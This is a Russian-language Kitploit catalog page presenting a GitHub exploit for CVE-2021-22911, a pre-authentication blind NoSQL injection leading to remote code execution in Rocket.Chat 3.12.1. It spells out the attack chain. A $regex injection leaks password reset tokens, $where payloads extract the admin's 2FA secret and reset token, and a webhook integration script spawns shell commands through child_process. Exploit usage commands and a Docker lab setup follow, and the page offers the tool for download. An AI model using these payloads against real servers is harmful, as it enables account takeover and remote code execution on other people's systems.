Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-22911 — Слепая NoSQL-инъекция до аутентификации, приводящая к удаленному выполнению кода в Rocket Chat 3.12.1 | Kitploit
Инструменты/GitHubGitHub/csenox/cve-2021-22911
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеИнструмент Удаленного Доступа
GitHubcsenox/cve-2021-22911

CVE-2021-22911

Слепая NoSQL-инъекция до аутентификации, приводящая к удаленному выполнению кода в Rocket Chat 3.12.1

Репозиторий
6183 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-22911

Слепая NoSQL-инъекция без аутентификации, приводящая к удаленному выполнению кода в Rocket Chat 3.12.1

  • Метод getPasswordPolicy уязвим для атак NoSQL-инъекций и не требует аутентификации/авторизации. Он может быть использован для захвата учетных записей путем утечки токенов сброса пароля. Захват учетной записи администратора приводит к удаленному выполнению кода.

Объяснение

  1. Захват учетной записи пользователя (без аутентификации)
  • Существует NoSQL-инъекция в конечной точке getPasswordPolicy в параметре token сброса пароля, которая принимает JSON-объект, позволяя нам использовать оператор $regex. С его помощью мы проводим слепую NoSQL-инъекцию для получения токена сброса.
  1. Повышение привилегий до администратора (с аутентификацией)
  • У администратора, скорее всего, включена двухфакторная аутентификация (2FA). Даже если мы изменим пароль администратора через (1), при входе будет запрошен код 2FA.

  • Конечная точка API users.list принимает параметр запроса, который уязвим для NoSQL-инъекции. Мы также можем извлекать данные, вызывая ошибку.

  • Выполняем следующий запрос для получения секрета 2FA администратора: {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}

  • Затем мы просто делаем (1) для сброса пароля администратора и используем секрет 2FA для генерации кода, с помощью которого можем войти.

  • Обновлено: Вы также можете получить токен сброса тем же способом, что и секрет 2FA: {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}

  1. Удаленное выполнение кода (с аутентификацией - администратор)
  • В Rocket.Chat есть функция «Интеграции», которая позволяет создавать входящие и исходящие вебхуки. С этими вебхуками могут быть связаны скрипты, которые выполняются при срабатывании вебхука.
  • Создаем интеграцию со следующим скриптом:
root@kitploit:~
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('команда_здесь');
  • Затем просто запускаем вебхук для получения RCE :)

Использование

  • Вам потребуется email обычного пользователя (с низкими привилегиями), у которого не настроена 2FA. ( -u )
  • Также необходимо знать email администратора. Это не проблема, даже если у администратора включена 2FA. ( -a )
root@kitploit:~
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"

Среда

  • Протестировано на Rocket Chat 3.12.1
  • Сборка собственной тестовой среды с помощью Docker:
root@kitploit:~
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1

  • Включите политику паролей (Password Policy)
  • Включите 2FA для администратора
  • Зарегистрируйте обычного пользователя.

ПРИМЕЧАНИЕ: Если вы не хотите, чтобы администратор был защищен 2FA, можно сделать следующее.

  1. Отправить письмо для сброса пароля
  2. Получить токен сброса для администратора
  3. Изменить пароль, используя полученный токен сброса
root@kitploit:~
# Захват учетной записи администратора [без 2FA]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)

Авторы

  • https://hackerone.com/reports/1130721 (источник Sonar)
  • https://blog.sonarsource.com/nosql-injections-in-rocket-chat

Exploit-db

  • https://www.exploit-db.com/exploits/49960 (v1)
  • https://www.exploit-db.com/exploits/50108 (v2)
Скачать инструмент